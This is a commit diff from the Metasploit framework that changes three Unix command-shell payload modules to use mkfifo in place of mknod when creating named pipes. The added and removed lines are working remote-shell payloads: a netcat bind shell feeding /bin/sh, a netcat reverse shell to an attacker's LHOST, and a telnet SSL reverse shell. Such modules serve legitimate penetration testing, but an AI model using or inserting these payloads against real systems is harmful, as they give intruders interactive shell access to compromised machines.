Land #6849, mknod to mkfifo
lands wvu's pr to switch from mknod to mkfifo for netcat payloadsbug/bundler_fix
commit
891a788ad4
|
@ -52,7 +52,7 @@ module MetasploitModule
|
|||
#
|
||||
def command_string
|
||||
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
|
||||
"mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
|
||||
"mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -19,7 +19,7 @@ module MetasploitModule
|
|||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
|
||||
'Description' => %q{
|
||||
Creates an interactive shell via mknod and telnet.
|
||||
Creates an interactive shell via mkfifo and telnet.
|
||||
This method works on Debian and other systems compiled
|
||||
without /dev/tcp support. This module uses the '-z'
|
||||
option included on some systems to encrypt using SSL.
|
||||
|
@ -53,6 +53,6 @@ module MetasploitModule
|
|||
#
|
||||
def command_string
|
||||
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
|
||||
cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
|
||||
cmd = "mkfifo #{pipe_name} && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -52,7 +52,7 @@ module MetasploitModule
|
|||
#
|
||||
def command_string
|
||||
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
|
||||
"mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
|
||||
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue